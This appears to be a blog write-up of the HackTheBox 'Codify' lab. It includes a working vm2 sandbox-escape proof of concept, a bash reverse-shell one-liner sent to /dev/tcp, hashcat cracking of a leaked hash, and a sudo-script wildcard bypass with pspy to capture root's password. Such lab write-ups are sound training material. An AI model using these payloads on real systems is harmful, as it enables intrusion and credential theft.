Search

Type to search posts.

es
HackTheBox: Codify

HackTheBox: Codify

Junior Restituyo
0xR3iko

Codify is a straightforward Linux server with a web application that lets users experiment with Node.js code. We will be working with the vm2 library, a database with user credentials, a Bash pitfall, and the use of pspy to snoop on processes.

Enumeration

We start with an Nmap scan, in which we find some common open ports along with port 3000, which in my experience is the Express.js development port.

# Nmap 7.94SVN scan initiated as: nmap -p22,80,3000 -sCV -n -Pn 10.10.11.239
Nmap scan report for 10.10.11.239
Host is up (0.072s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We accessed the website to see what we found.

The Codify web application

Looking at the limitations, we see that the child_process and fs libraries are not allowed in the code editor.

Restricted libraries in the code editor

Moving to “About Us”, we found that the page uses the vm2 library, which with a little searching we found to be vulnerable to remote code execution.

The About Us page revealing the vm2 library

What is vm2?

vm2 is a sandbox that can run untrusted code with whitelisted Node built-in modules, securely.

Foothold

vm2 exploit PoC:

https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac

Using the PoC, we had a response from the server.

js
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("cat /etc/passwd").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

Running the vm2 sandbox escape PoC

We will try to obtain a reverse shell. First, we convert our payload to base64.

bash
echo "bash -i >& /dev/tcp/<your-ip>/<your-port> 0>&1" | base64 -w 0

After some modifications to the PoC and adding our payload, we obtain a shell.

js
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo <Your Payload Here> | base64 -d | bash").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

Reverse shell obtained through the vm2 escape

Searching the system, we found a very interesting database.

Finding a database on the system

We open the database with SQLite3 for a deeper investigation.

bash
sqlite3 /var/www/contact/tickets.db

We found a main database with the tables tickets and users. In the users table we found the user joshua and a hash we will try to crack with hashcat.

The users table with joshua's hash

To crack it, we used mode 3200 and the rockyou.txt wordlist.

bash
hashcat -m 3200 <hash.txt> rockyou.txt

We quickly obtained the password.

$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:##########

We used SSH to authenticate as the user joshua, which worked.

SSH access as joshua

We got our first flag.

User flag obtained

Privilege Escalation

Moving on to privilege escalation, we tried a sudo -l, which showed we have root privileges to run a script on the system: /opt/scripts/mysql-backup.sh.

sudo -l showing the mysql-backup.sh script

Analyzing the script, we notice several vulnerabilities, such as the handling of authentication and the use of credentials from the root directory.

bash
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

The main problem is the line if [[ $DB_PASS == $USER_PASS ]];.

When the right-hand side of an == operator inside [[ ]] is not quoted, bash does pattern matching against it instead of treating it as a string. So if the password contains *, the result will always be true.

So if we just put * as the password, the script will accept it and continue.

The second issue is how the password is passed to mysqldump: instead of the user-provided password, the script reads it from /root/.creds. So if we bypass the check with the pattern-matching trick, we can also expose the real password using a process-monitoring tool like pspy. We need two SSH sessions: one to run pspy and another to run the script.

https://github.com/DominicBreuker/pspy

What is pspy?

pspy is a command-line tool to snoop on processes without root permissions. It lets you see commands run by other users, cron jobs, etc. as they execute.

After downloading pspy and sending it to the victim, we give it execution permissions and run it.

bash
chmod +x pspy64s
./pspy64s -i 1

Running pspy to monitor processes

With pspy listening, we go to our other session, run the script, and pass * as the password.

Running the sudo script with * as the password

As we can see, the script runs without problems, and meanwhile we capture the whole process, along with the root user’s password.

pspy capturing the root password

We switched user on the machine and obtained root access.

bash
su root

Switching to root with the captured password

Here we have our last flag.

Root flag obtained

Thanks for reading.